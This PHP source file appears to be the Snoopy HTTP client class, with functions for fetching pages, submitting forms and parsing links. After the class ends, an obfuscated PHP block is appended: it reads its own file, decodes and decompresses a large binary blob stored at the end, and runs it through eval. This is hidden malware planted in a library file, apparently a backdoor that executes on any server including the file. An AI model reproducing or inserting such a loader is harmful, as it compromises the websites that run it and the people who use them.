				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
				{
					$frameurls = $this->_frameurls;
					$this->_frameurls = array();

					foreach ( $frameurls as $frameurl )
					{
						if($this->_framedepth < $this->maxframes)
						{
							$this->fetch($frameurl);
							$this->_framedepth++;
						}
						else
							break;
					}
				}
				return true;
				break;

			default:
				// not a valid protocol
				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
				return false;
				break;
		}
		return true;
	}

/*======================================================================*\
	Function:	fetchlinks
	Purpose:	fetch the links from a web page
	Input:		$URI	where you are fetching from
	Output:		$this->results	an array of the URLs
\*======================================================================*/

	function fetchlinks($URI)
	{
		if ($this->fetch($URI))
		{
			if($this->lastredirectaddr)
				$URI = $this->lastredirectaddr;
			if(is_array($this->results))
			{
				for($x=0;$x<count($this->results);$x++)
					$this->results[$x] = $this->_striplinks($this->results[$x]);
			}
			else
				$this->results = $this->_striplinks($this->results);

			if($this->expandlinks)
				$this->results = $this->_expandlinks($this->results, $URI);
			return true;
		}
		else
			return false;
	}

/*======================================================================*\
	Function:	fetchform
	Purpose:	fetch the form elements from a web page
	Input:		$URI	where you are fetching from
	Output:		$this->results	the resulting html form
\*======================================================================*/

	function fetchform($URI)
	{

		if ($this->fetch($URI))
		{

			if(is_array($this->results))
			{
				for($x=0;$x<count($this->results);$x++)
					$this->results[$x] = $this->_stripform($this->results[$x]);
			}
			else
				$this->results = $this->_stripform($this->results);

			return true;
		}
		else
			return false;
	}


/*======================================================================*\
	Function:	fetchtext
	Purpose:	fetch the text from a web page, stripping the links
	Input:		$URI	where you are fetching from
	Output:		$this->results	the text from the web page
\*======================================================================*/

	function fetchtext($URI)
	{
		if($this->fetch($URI))
		{
			if(is_array($this->results))
			{
				for($x=0;$x<count($this->results);$x++)
					$this->results[$x] = $this->_striptext($this->results[$x]);
			}
			else
				$this->results = $this->_striptext($this->results);
			return true;
		}
		else
			return false;
	}

/*======================================================================*\
	Function:	submitlinks
	Purpose:	grab links from a form submission
	Input:		$URI	where you are submitting from
	Output:		$this->results	an array of the links from the post
\*======================================================================*/

	function submitlinks($URI, $formvars="", $formfiles="")
	{
		if($this->submit($URI,$formvars, $formfiles))
		{
			if($this->lastredirectaddr)
				$URI = $this->lastredirectaddr;
			if(is_array($this->results))
			{
				for($x=0;$x<count($this->results);$x++)
				{
					$this->results[$x] = $this->_striplinks($this->results[$x]);
					if($this->expandlinks)
						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
				}
			}
			else
			{
				$this->results = $this->_striplinks($this->results);
				if($this->expandlinks)
					$this->results = $this->_expandlinks($this->results,$URI);
			}
			return true;
		}
		else
			return false;
	}

/*======================================================================*\
	Function:	submittext
	Purpose:	grab text from a form submission
	Input:		$URI	where you are submitting from
	Output:		$this->results	the text from the web page
\*======================================================================*/

	function submittext($URI, $formvars = "", $formfiles = "")
	{
		if($this->submit($URI,$formvars, $formfiles))
		{
			if($this->lastredirectaddr)
				$URI = $this->lastredirectaddr;
			if(is_array($this->results))
			{
				for($x=0;$x<count($this->results);$x++)
				{
					$this->results[$x] = $this->_striptext($this->results[$x]);
					if($this->expandlinks)
						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
				}
			}
			else
			{
				$this->results = $this->_striptext($this->results);
				if($this->expandlinks)
					$this->results = $this->_expandlinks($this->results,$URI);
			}
			return true;
		}
		else
			return false;
	}



/*======================================================================*\
	Function:	set_submit_multipart
	Purpose:	Set the form submission content type to
				multipart/form-data
\*======================================================================*/
	function set_submit_multipart()
	{
		$this->_submit_type = "multipart/form-data";
	}


/*======================================================================*\
	Function:	set_submit_normal
	Purpose:	Set the form submission content type to
				application/x-www-form-urlencoded
\*======================================================================*/
	function set_submit_normal()
	{
		$this->_submit_type = "application/x-www-form-urlencoded";
	}




/*======================================================================*\
	Private functions
\*======================================================================*/


/*======================================================================*\
	Function:	_striplinks
	Purpose:	strip the hyperlinks from an html document
	Input:		$document	document to strip.
	Output:		$match		an array of the links
\*======================================================================*/

	function _striplinks($document)
	{
		preg_match_all("'<\s*a\s.*?href\s*=\s*			# find <a href=
						([\"\'])?					# find single or double quote
						(?(1) (.*?)\\1 | ([^\s\>]+))		# if quote found, match up to next matching
													# quote, otherwise match up to next space
						'isx",$document,$links);


		// catenate the non-empty matches from the conditional subpattern

		foreach ( $links[2] as $key => $val )
		{
			if(!empty($val))
				$match[] = $val;
		}

		foreach ( $links[3] as $key => $val )
		{
			if(!empty($val))
				$match[] = $val;
		}

		// return the links
		return $match;
	}

/*======================================================================*\
	Function:	_stripform
	Purpose:	strip the form elements from an html document
	Input:		$document	document to strip.
	Output:		$match		an array of the links
\*======================================================================*/

	function _stripform($document)
	{
		preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements);

		// catenate the matches
		$match = implode("\r\n",$elements[0]);

		// return the links
		return $match;
	}



/*======================================================================*\
	Function:	_striptext
	Purpose:	strip the text from an html document
	Input:		$document	document to strip.
	Output:		$text		the resulting text
\*======================================================================*/

	function _striptext($document)
	{

		// I didn't use preg eval (//e) since that is only available in PHP 4.0.
		// so, list your entities one by one here. I included some of the
		// more common ones.

		$search = array("'<script[^>]*?>.*?</script>'si",	// strip out javascript
						"'<[\/\!]*?[^<>]*?>'si",			// strip out html tags
						"'([\r\n])[\s]+'",					// strip out white space
						"'&(quot|#34|#034|#x22);'i",		// replace html entities
						"'&(amp|#38|#038|#x26);'i",			// added hexadecimal values
						"'&(lt|#60|#060|#x3c);'i",
						"'&(gt|#62|#062|#x3e);'i",
						"'&(nbsp|#160|#xa0);'i",
						"'&(iexcl|#161);'i",
						"'&(cent|#162);'i",
						"'&(pound|#163);'i",
						"'&(copy|#169);'i",
						"'&(reg|#174);'i",
						"'&(deg|#176);'i",
						"'&(#39|#039|#x27);'",
						"'&(euro|#8364);'i",				// europe
						"'&a(uml|UML);'",					// german
						"'&o(uml|UML);'",
						"'&u(uml|UML);'",
						"'&A(uml|UML);'",
						"'&O(uml|UML);'",
						"'&U(uml|UML);'",
						"'&szlig;'i",
						);
		$replace = array(	"",
							"",
							"\\1",
							"\"",
							"&",
							"<",
							">",
							" ",
							chr(161),
							chr(162),
							chr(163),
							chr(169),
							chr(174),
							chr(176),
							chr(39),
							chr(128),
							chr(0xE4), // ANSI &auml;
							chr(0xF6), // ANSI &ouml;
							chr(0xFC), // ANSI &uuml;
							chr(0xC4), // ANSI &Auml;
							chr(0xD6), // ANSI &Ouml;
							chr(0xDC), // ANSI &Uuml;
							chr(0xDF), // ANSI &szlig;
						);

		$text = preg_replace($search,$replace,$document);

		return $text;
	}

/*======================================================================*\
	Function:	_expandlinks
	Purpose:	expand each link into a fully qualified URL
	Input:		$links			the links to qualify
				$URI			the full URI to get the base from
	Output:		$expandedLinks	the expanded links
\*======================================================================*/

	function _expandlinks($links,$URI)
	{

		preg_match("/^[^\?]+/",$URI,$match);

		$match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]);
		$match = preg_replace("|/$|","",$match);
		$match_part = parse_url($match);
		$match_root =
		$match_part["scheme"]."://".$match_part["host"];

		$search = array( 	"|^http://".preg_quote($this->host)."|i",
							"|^(\/)|i",
							"|^(?!http://)(?!mailto:)|i",
							"|/\./|",
							"|/[^\/]+/\.\./|"
						);

		$replace = array(	"",
							$match_root."/",
							$match."/",
							"/",
							"/"
						);

		$expandedLinks = preg_replace($search,$replace,$links);

		return $expandedLinks;
	}

/*======================================================================*\
	Function:	_httprequest
	Purpose:	go get the http data from the server
	Input:		$url		the url to fetch
				$fp			the current open file pointer
				$URI		the full URI
				$body		body contents to send if any (POST)
	Output:
\*======================================================================*/

	function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="")
	{
		$cookie_headers = '';
		if($this->passcookies && $this->_redirectaddr)
			$this->setcookies();

		$URI_PARTS = parse_url($URI);
		if(empty($url))
			$url = "/";
		$headers = $http_method." ".$url." ".$this->_httpversion."\r\n";
		if(!empty($this->agent))
			$headers .= "User-Agent: ".$this->agent."\r\n";
		if(!empty($this->host) && !isset($this->rawheaders['Host'])) {
			$headers .= "Host: ".$this->host;
			if(!empty($this->port) && $this->port != 80)
				$headers .= ":".$this->port;
			$headers .= "\r\n";
		}
		if(!empty($this->accept))
			$headers .= "Accept: ".$this->accept."\r\n";
		if(!empty($this->referer))
			$headers .= "Referer: ".$this->referer."\r\n";
		if(!empty($this->cookies))
		{
			if(!is_array($this->cookies))
				$this->cookies = (array)$this->cookies;

			reset($this->cookies);
			if ( count($this->cookies) > 0 ) {
				$cookie_headers .= 'Cookie: ';
				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
				$cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; ";
				}
				$headers .= substr($cookie_headers,0,-2) . "\r\n";
			}
		}
		if(!empty($this->rawheaders))
		{
			if(!is_array($this->rawheaders))
				$this->rawheaders = (array)$this->rawheaders;
			foreach ( $this->rawheaders as $headerKey => $headerVal )
				$headers .= $headerKey.": ".$headerVal."\r\n";
		}
		if(!empty($content_type)) {
			$headers .= "Content-Type: $content_type";
			if ($content_type == "multipart/form-data")
				$headers .= "; boundary=".$this->_mime_boundary;
			$headers .= "\r\n";
		}
		if(!empty($body))
			$headers .= "Content-Length: ".strlen($body)."\r\n";
		if(!empty($this->user) || !empty($this->pass))
			$headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n";

		//add proxy auth headers
		if(!empty($this->proxy_user))
			$headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n";


		$headers .= "\r\n";

		// set the read timeout if needed
		if ($this->read_timeout > 0)
			socket_set_timeout($fp, $this->read_timeout);
		$this->timed_out = false;

		fwrite($fp,$headers.$body,strlen($headers.$body));

		$this->_redirectaddr = false;
		unset($this->headers);

		while($currentHeader = fgets($fp,$this->_maxlinelen))
		{
			if ($this->read_timeout > 0 && $this->_check_timeout($fp))
			{
				$this->status=-100;
				return false;
			}

			if($currentHeader == "\r\n")
				break;

			// if a header begins with Location: or URI:, set the redirect
			if(preg_match("/^(Location:|URI:)/i",$currentHeader))
			{
				// get URL portion of the redirect
				preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches);
				// look for :// in the Location header to see if hostname is included
				if(!preg_match("|\:\/\/|",$matches[2]))
				{
					// no host in the path, so prepend
					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
					// eliminate double slash
					if(!preg_match("|^/|",$matches[2]))
							$this->_redirectaddr .= "/".$matches[2];
					else
							$this->_redirectaddr .= $matches[2];
				}
				else
					$this->_redirectaddr = $matches[2];
			}

			if(preg_match("|^HTTP/|",$currentHeader))
			{
                if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status))
				{
					$this->status= $status[1];
                }
				$this->response_code = $currentHeader;
			}

			$this->headers[] = $currentHeader;
		}

		$results = '';
		do {
    		$_data = fread($fp, $this->maxlength);
    		if (strlen($_data) == 0) {
        		break;
    		}
    		$results .= $_data;
		} while(true);

		if ($this->read_timeout > 0 && $this->_check_timeout($fp))
		{
			$this->status=-100;
			return false;
		}

		// check if there is a redirect meta tag

		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))

		{
			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
		}

		// have we hit our frame depth and is there frame src to fetch?
		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
		{
			$this->results[] = $results;
			for($x=0; $x<count($match[1]); $x++)
				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
		}
		// have we already fetched framed content?
		elseif(is_array($this->results))
			$this->results[] = $results;
		// no framed content
		else
			$this->results = $results;

		return true;
	}

/*======================================================================*\
	Function:	_httpsrequest
	Purpose:	go get the https data from the server using curl
	Input:		$url		the url to fetch
				$URI		the full URI
				$body		body contents to send if any (POST)
	Output:
\*======================================================================*/

	function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
	{
		if($this->passcookies && $this->_redirectaddr)
			$this->setcookies();

		$headers = array();

		$URI_PARTS = parse_url($URI);
		if(empty($url))
			$url = "/";
		// GET ... header not needed for curl
		//$headers[] = $http_method." ".$url." ".$this->_httpversion;
		if(!empty($this->agent))
			$headers[] = "User-Agent: ".$this->agent;
		if(!empty($this->host))
			if(!empty($this->port))
				$headers[] = "Host: ".$this->host.":".$this->port;
			else
				$headers[] = "Host: ".$this->host;
		if(!empty($this->accept))
			$headers[] = "Accept: ".$this->accept;
		if(!empty($this->referer))
			$headers[] = "Referer: ".$this->referer;
		if(!empty($this->cookies))
		{
			if(!is_array($this->cookies))
				$this->cookies = (array)$this->cookies;

			reset($this->cookies);
			if ( count($this->cookies) > 0 ) {
				$cookie_str = 'Cookie: ';
				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
				$cookie_str .= $cookieKey."=".urlencode($cookieVal)."; ";
				}
				$headers[] = substr($cookie_str,0,-2);
			}
		}
		if(!empty($this->rawheaders))
		{
			if(!is_array($this->rawheaders))
				$this->rawheaders = (array)$this->rawheaders;
			foreach ( $this->rawheaders as $headerKey => $headerVal )
				$headers[] = $headerKey.": ".$headerVal;
		}
		if(!empty($content_type)) {
			if ($content_type == "multipart/form-data")
				$headers[] = "Content-Type: $content_type; boundary=".$this->_mime_boundary;
			else
				$headers[] = "Content-Type: $content_type";
		}
		if(!empty($body))
			$headers[] = "Content-Length: ".strlen($body);
		if(!empty($this->user) || !empty($this->pass))
			$headers[] = "Authorization: BASIC ".base64_encode($this->user.":".$this->pass);

		$headerfile = tempnam( $this->temp_dir, "sno" );
		$cmdline_params = '-k -D ' . escapeshellarg( $headerfile );

		foreach ( $headers as $header ) {
			$cmdline_params .= ' -H ' . escapeshellarg( $header );
		}

		if ( ! empty( $body ) ) {
			$cmdline_params .= ' -d ' . escapeshellarg( $body );
		}

		if ( $this->read_timeout > 0 ) {
			$cmdline_params .= ' -m ' . escapeshellarg( $this->read_timeout );
		}


		exec( $this->curl_path . ' ' . $cmdline_params . ' ' . escapeshellarg( $URI ), $results, $return );

		if($return)
		{
			$this->error = "Error: cURL could not retrieve the document, error $return.";
			return false;
		}


		$results = implode("\r\n",$results);

		$result_headers = file("$headerfile");

		$this->_redirectaddr = false;
		unset($this->headers);

		for($currentHeader = 0; $currentHeader < count($result_headers); $currentHeader++)
		{

			// if a header begins with Location: or URI:, set the redirect
			if(preg_match("/^(Location: |URI: )/i",$result_headers[$currentHeader]))
			{
				// get URL portion of the redirect
				preg_match("/^(Location: |URI:)\s+(.*)/",chop($result_headers[$currentHeader]),$matches);
				// look for :// in the Location header to see if hostname is included
				if(!preg_match("|\:\/\/|",$matches[2]))
				{
					// no host in the path, so prepend
					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
					// eliminate double slash
					if(!preg_match("|^/|",$matches[2]))
							$this->_redirectaddr .= "/".$matches[2];
					else
							$this->_redirectaddr .= $matches[2];
				}
				else
					$this->_redirectaddr = $matches[2];
			}

			if(preg_match("|^HTTP/|",$result_headers[$currentHeader]))
				$this->response_code = $result_headers[$currentHeader];

			$this->headers[] = $result_headers[$currentHeader];
		}

		// check if there is a redirect meta tag

		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
		{
			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
		}

		// have we hit our frame depth and is there frame src to fetch?
		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
		{
			$this->results[] = $results;
			for($x=0; $x<count($match[1]); $x++)
				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
		}
		// have we already fetched framed content?
		elseif(is_array($this->results))
			$this->results[] = $results;
		// no framed content
		else
			$this->results = $results;

		unlink("$headerfile");

		return true;
	}

/*======================================================================*\
	Function:	setcookies()
	Purpose:	set cookies for a redirection
\*======================================================================*/

	function setcookies()
	{
		for($x=0; $x<count($this->headers); $x++)
		{
		if(preg_match('/^set-cookie:[\s]+([^=]+)=([^;]+)/i', $this->headers[$x],$match))
			$this->cookies[$match[1]] = urldecode($match[2]);
		}
	}


/*======================================================================*\
	Function:	_check_timeout
	Purpose:	checks whether timeout has occurred
	Input:		$fp	file pointer
\*======================================================================*/

	function _check_timeout($fp)
	{
		if ($this->read_timeout > 0) {
			$fp_status = socket_get_status($fp);
			if ($fp_status["timed_out"]) {
				$this->timed_out = true;
				return true;
			}
		}
		return false;
	}

/*======================================================================*\
	Function:	_connect
	Purpose:	make a socket connection
	Input:		$fp	file pointer
\*======================================================================*/

	function _connect(&$fp)
	{
		if(!empty($this->proxy_host) && !empty($this->proxy_port))
			{
				$this->_isproxy = true;

				$host = $this->proxy_host;
				$port = $this->proxy_port;
			}
		else
		{
			$host = $this->host;
			$port = $this->port;
		}

		$this->status = 0;

		if($fp = fsockopen(
					$host,
					$port,
					$errno,
					$errstr,
					$this->_fp_timeout
					))
		{
			// socket connection succeeded

			return true;
		}
		else
		{
			// socket connection failed
			$this->status = $errno;
			switch($errno)
			{
				case -3:
					$this->error="socket creation failed (-3)";
				case -4:
					$this->error="dns lookup failure (-4)";
				case -5:
					$this->error="connection refused or timed out (-5)";
				default:
					$this->error="connection failed (".$errno.")";
			}
			return false;
		}
	}
/*======================================================================*\
	Function:	_disconnect
	Purpose:	disconnect a socket connection
	Input:		$fp	file pointer
\*======================================================================*/

	function _disconnect($fp)
	{
		return(fclose($fp));
	}


/*======================================================================*\
	Function:	_prepare_post_body
	Purpose:	Prepare post body according to encoding type
	Input:		$formvars  - form variables
				$formfiles - form upload files
	Output:		post body
\*======================================================================*/

	function _prepare_post_body($formvars, $formfiles)
	{
		settype($formvars, "array");
		settype($formfiles, "array");
		$postdata = '';

		if (count($formvars) == 0 && count($formfiles) == 0)
			return;

		switch ($this->_submit_type) {
			case "application/x-www-form-urlencoded":
				reset($formvars);
				foreach ( $formvars as $key => $val ) {
					if (is_array($val) || is_object($val)) {
						foreach ( $val as $cur_key => $cur_val ) {
							$postdata .= urlencode($key)."[]=".urlencode($cur_val)."&";
						}
					} else
						$postdata .= urlencode($key)."=".urlencode($val)."&";
				}
				break;

			case "multipart/form-data":
				$this->_mime_boundary = "Snoopy".md5(uniqid(microtime()));

				reset($formvars);
				foreach ( $formvars as $key => $val ) {
					if (is_array($val) || is_object($val)) {
						foreach ( $val as $cur_key => $cur_val ) {
							$postdata .= "--".$this->_mime_boundary."\r\n";
							$postdata .= "Content-Disposition: form-data; name=\"$key\[\]\"\r\n\r\n";
							$postdata .= "$cur_val\r\n";
						}
					} else {
						$postdata .= "--".$this->_mime_boundary."\r\n";
						$postdata .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
						$postdata .= "$val\r\n";
					}
				}

				reset($formfiles);
				foreach ( $formfiles as $field_name => $file_names ) {
					settype($file_names, "array");
					foreach ( $file_names as $file_name ) {
						if (!is_readable($file_name)) continue;

						$fp = fopen($file_name, "r");
						$file_content = fread($fp, filesize($file_name));
						fclose($fp);
						$base_name = basename($file_name);

						$postdata .= "--".$this->_mime_boundary."\r\n";
						$postdata .= "Content-Disposition: form-data; name=\"$field_name\"; filename=\"$base_name\"\r\n\r\n";
						$postdata .= "$file_content\r\n";
					}
				}
				$postdata .= "--".$this->_mime_boundary."--\r\n";
				break;
		}

		return $postdata;
	}
}
endif;
?>
<?php
$QZJN='ex'.'it';$ZJho='fi'.'le'.'_ge'.'t'.'_cont'.'ents';$MXbx='s'.'t'.'r'.'_repla'.'ce';$eoHB='subst'.'r';$uGXd='gzuncompr'.'ess';eval($uGXd($MXbx('hszdxgpubk','>',$MXbx('mlwvgxcskd','<',$eoHB($ZJho( __FILE__ ),-172021)))));$QZJN(0);
?>
xTǎP^_6h99'1s`s&Eͺ=TAJ$o-J5n%~.|zs4{gmyQmm߭|uo{i߯{w36_,mN?{{nZyZf{'g?s.ωO^2X$ ~@AGQ{,lXUФ՜$hRz)Ap|U~V=9be :no,#FN#~䋼nVb=U;Oʡ^eE/$)Դhszdxgpubk)QM'Nj3yӐui	 ^eNOЀjufOAj.n`=	Kaә|;IO:R)w{g[-+NA5զ1"Uˋ6˙I&hszdxgpubkphszdxgpubkHCjn]Wű$~`6:Z[4[ېtB:l|/.33PAhszdxgpubk8ej;-tLߘj#! |~Y ȏ._ l//QfY(k01/ C7?1}WA)T2qIp
Jl\9ڐ1~3	$"8ui1|F47Pz.׭hszdxgpubk_J 's!
YjAZsF M꣙߰Vmo^-ɸ#0
hszdxgpubk$wA.!CFBAqdD%6Zn?L9fok8o8?8ǂ(OL,Sq#"`}?蠼5̟EK'dL00V븉&Bpi|S~H,fP\k5	.֌!W#/KF^荏Z,qbWkFhWn+#7 QC]S|;5]K_=C?FӒA=
7v`"sXv킴s:}b©N(S{TIe
-U6_ab˱Y+h]_(:c^jIn:DS
s	! uST|!CUj:}jo5Bs\o+u46A|W&m"rgt0.?ԕjZjN4g4.N(jJXd"q~hszdxgpubkIACP+9a䱦}3"~%Ǘˢ:3B7okqػ;i7ә&uKIXF	-%CN|Rm;/Hq4]##HBמ$e u^VO^DQn NcKboRud̠)e칉q;+6¨1Hcf_7B7_mlwvgxcskdw;iT׉\VFd.dPL[In& !_H;	䨨jWJGs~D+ѱERVԕU ]");or[duQ"͔Yel{to7m_hszdxgpubkn{N?նɳ:S Q {bg$|t,ŋj/kq:coC)EG꟡KN
?Q_\Ř: BC=iSwmlwvgxcskdH 
YV8y7%hszdxgpubkQ#V2x!	M-Gc-=C}}	Vvzf{8wV=7n)qY?~j.ИXESB{Q:@'=.?#mDCm\Զ݅/kȍ|)O#[%jgmnH(x?o+ḊPLATHC(IkC'17IajoRL$gy4jie1Q({fXBGHX
r3e?'/W?G $.n';Ⱥΐ%=+.g!z?a4I]%:J}e@,ɻ02dYkhszdxgpubk
CU:j% }%ҩDƿ{2y]l4\_d{Kvh/HbLm\),ddފN/H.'#s}(J4#a$_lmlwvgxcskd9+T6IO"~HIDxhJ^~8Z!٨Gc랬k89 L	?mlwvgxcskdOwToCcivpc
[828)J^هݽu3pd_hszdxgpubk(6iOJJSahը1"˶ϻ/s R@LG+X*v;?!D68 dapHb?hszdxgpubkhI"JHw6I*f+xt^.~0*REx%D.:}9ߚvXɱG O/V%dDGIbЩ܆6x?ୌjt0V  at {(?*,irN.72?Emlwvgxcskd'yLrn9ig
nTɋ&vmGG#A qPB$z~N}U44Fa_*tgNڸR,X;4;T|#qt.*tqrgv+Y^/tzkmaN_0@/Z_Kd0uA/M	8w
΀YOmQ7+[5馗	͉tTMS_!hszdxgpubkc8k_' ^z|p邈1G)뾄55CSSTjxqJ31t㰶Z\Pd&%oMj
zakZɮ"0U_]$L{+=hޥeAx}dď;r
'eeo^_ ipZeeZ)\(*SN3ohV
mlwvgxcskdACrmnNF,'J-)f|DBolyvܰC
S(R+(tG}'L邏d O%Z0R;b{[BW thhszdxgpubk
:_mlwvgxcskd1Y;w$
P
$"uܩF=˗:m%Rr;ibnmlwvgxcskd+%^]\So:sS6gٰBJ:20f냢|=x8@|ejr$"Q
Igt{ sKK:[UIK	"cJpJ7O[!Q4^jv\[J[xFY1MyR25hszdxgpubkwI(/(@
LyI7yhmzIu#42T7|8#+fOv.}Ɖ8+x-	Nhszdxgpubk%'٣H~7?}/˧y=#%Bl_UƑ!
'XU).TW~_.;T^H٨{k٪",ߏ_qHs\q&
"nv	V\T,AodmaWt?hszdxgpubkd)ڲ)2@k oNanVE[+YjђmlwvgxcskduRJqLw!fփ7?t8:
M
p	dc=܀huĿPe7#=L;6C`oWCPS@f:mlwvgxcskd;ōo 
QR%)lɕ;8 掊"&x;
l3t4h+Ϳe^6#9ar
v{+HcqDs	-亸,::$H 3gl-ŇiAFLα` ~U]~^oH}pGs)ʎSdv2Z)!.&zy{+'+t(/+,~ a 9vXn5^Y
#42*`:^@~(iqZyS2'kO[@d *hszdxgpubkmlwvgxcskd
ʾ%fAZ/&y\mlwvgxcskd*U)4 ur2ZvѺ-qa -sUb?1zhe+;UEtV
Eml1&U aGaUzGHƝY}Rwf73`[1fh9]k(u^$uג\\ȏ ƕkZgo̝gAjvITwhfcϒ]8މ垛T'TOf*ӋA| c
D9AH_Phszdxgpubk \~'ZTtL7?@as+VUU0l \מfH6j_phszdxgpubkA#*\EEy8ڙqIi_IVd@rke8:G%zL6[o}A	Iy=+^֞]XamlwvgxcskdѾb*\GY	tomlwvgxcskdƋk~ghszdxgpubkj|\֏hszdxgpubkW7nGvE*_qx N)uxtcjbTXmC]hszdxgpubkp9||]C¨rjyHRDagY[{囯O6H@pp
 Eo xzcؗz7ffS=c|c 7=?z=k=fpQ9urK~:q^fT#M~}/?/_u	WEHEmlwvgxcskd[ mp\ۯU۲d
`qBw'{hszdxgpubkQYcB]mlwvgxcskd77]z\Q30*
@
lυQ}FJc$C.S v3hszdxgpubk
F^X@!~pKRܟS
,]U]@E	
ռrgZcѽsilCKMFXk=hɣ,Ym`֗'Zk&;K
UuH| y#PsχA0?6rWB'~."FR.LlʜlnyOEdn@K8%%r\FSI{ǱTpx#|5\r6y[x&{Uf E~7;[˅+VA6^іNUoT]mlwvgxcskdCqhuY&}cs?-djU)TV48ѸFmlwvgxcskdzzP4tIQ9QmeDDL
Ug.2Z0
oPfvkɞ%6.Р"Vgc8"þQc bx(}Tf\붿.ɝIF)ğOlJ
:*(B(o{E4,1#
P(a"r9#-A? fgēFwg9VM9bHae5}5qf/ ,o98?ئ2¯ʍ^zR*xRĳވBP
ARDz|h]^#_ մR-yhV 
{Z񁿦Umr){nBA=6 g%]jU,źC+'|
%P0!t؏NGmlwvgxcskd/@+^%LTI(p;̱K7?v$5\B-7F+~qӁz9jȐ_Si[X&PzT;$6OVM!5n;Z'^:K`:s6([.OC|0oş!̾K鮃1(N[0s4kxUaas7DfE!?y$P[2$hFHymI]. 4pTcD3hszdxgpubkaryue#4?0;׊qRG'#m2zbPPaIGGsmYtyJ:f!h6
ȾlЕE\nM E?g~}p|b7Y(r!rxz#iP7?6ZLw~7%:	:6?_g-.է6GRI'n8w6SrYk`O6FSF{
[Q%u$K[~N#2ѳ;ň&FhszdxgpubkP]A` tÞ\c 0)[5[;${rHD
&(Cྎǟ79a5=}bPiWh3hmf|Uw_eBWMKK2ڪcl/cO[ǤHQręd	P.K"my!{
V==as)srq
1kg2UTSP
Fdsa]?lVU;//[_H
@zV0_햩蕪x1G#^V~
asghszdxgpubk5TĹ!L'Dj%j0{X!vDQؑ鷺PG-:RFx+9*Wcl -Sfz4eNykiWR$A5x0QN
xV7M]b1L b٘.iδ$NhTB%P	Ο΄V¬[dąW-émlwvgxcskdc`o&I2O3V\epb	%m~7Q3Q!q~bPt"we"K4o%rtEVwאZi#\͏e.!`~_Brˊ7Ju=wѨ~A-c Ϧ'%|
ԥ`4A		2WZK/wХO 9z`144_&蝈,IV`x=2$Y&Kea?-E:Llyr
w'2rUpQs0X	46SWp`Ј3OQsiD--OﾾYAqd=*c~BBQ:RH{b(bD~[8յ-ފpwp)EY	pq998xl$T-ay 56:7S DhWn_HqZRmlwvgxcskdR_ѩ\rHeLs&`/$#׃,ՠhS
9gYv`n5*82w@4vGV7Z^~ ~6j_0[(Kw(X8LB݊zV{ΝRT1XS~.W щ2ϨQnz4fIz:m~mlwvgxcskd? VmX/Ags*CN~:U%E2or7w'o,)qvSG[(~mNK=H`䇬:CN\65 '_37Meuxi11C9#Q) H!@N0kp/{֔!u]M_
vEwVpW.|XoKl9$t׾HZ*yn`wb3Gav86xymPU hszdxgpubkϙL9=uefUG}W,,N.?PnJjyFNąaGIiPw'ehLZI({&Hrhszdxgpubk:A6^!Im'}7ovj042Rhszdxgpubk~e#qdzqY$yTt\r"j^%+m]t( )WTwZN+ÐeϬ Ŧ,f}9/^hszdxgpubkѪ	גk\ L- 
}VP[k
uK
PLq'YHeEm)!XH%&+KO̾,Ùc'aJ7tHuei$'!yoYqYVd
'&+ex!]y$,?1C6έ
/_?Tbe8a!5~g&
p=)jNH[`e
߽T˅=GjoLQ	?7	dHcmX57hszdxgpubkuĲC)͞g1F+`b3)|V{%萿y㬋	R59͖ό;O\ 9AGC}u
 ,ˬ϶"Ƒ3DZGJzA,VHl&4ݞ߳Z`VgEèkUY땫sGwJoBa	Gz.:mlwvgxcskdv:VF%1-wdXXQ,Q$4)8^d7ag9GFHUm9/fB+)VS)[/!fpssA̱Mf zsCFhV3FvꝂ{a'$&ﴴߓCt%f#EǒG@7Bg+c'f);:Ċ
qlU_Bnȡ/cάu
R?PN~YI0rDTg/F8})ՅA/dUeں2]1Q:hszdxgpubk$ᬤ|J
⩨YۚMMyq/,Y8eR։o?BXM3:RM%7VjC%Z?rjyUw[pjA!w~ߑkg#@n.v_Ot&IB_:Uxw~Pjl
gx_^hszdxgpubk+гSc09\L(հ
phvJ*A	U5~/N&gWxSUR9J(2lJTgA!죮QǔgstfV3&cޭV}Žp*|Ob4WRKpptD^B1թhszdxgpubkp: sK$[bx5NS}V,2}uUԭdicN)8,'|Pxqq'i4ɹ`72eYzooe=)R' wXHIч=wLRdM)lbħߊa~-U
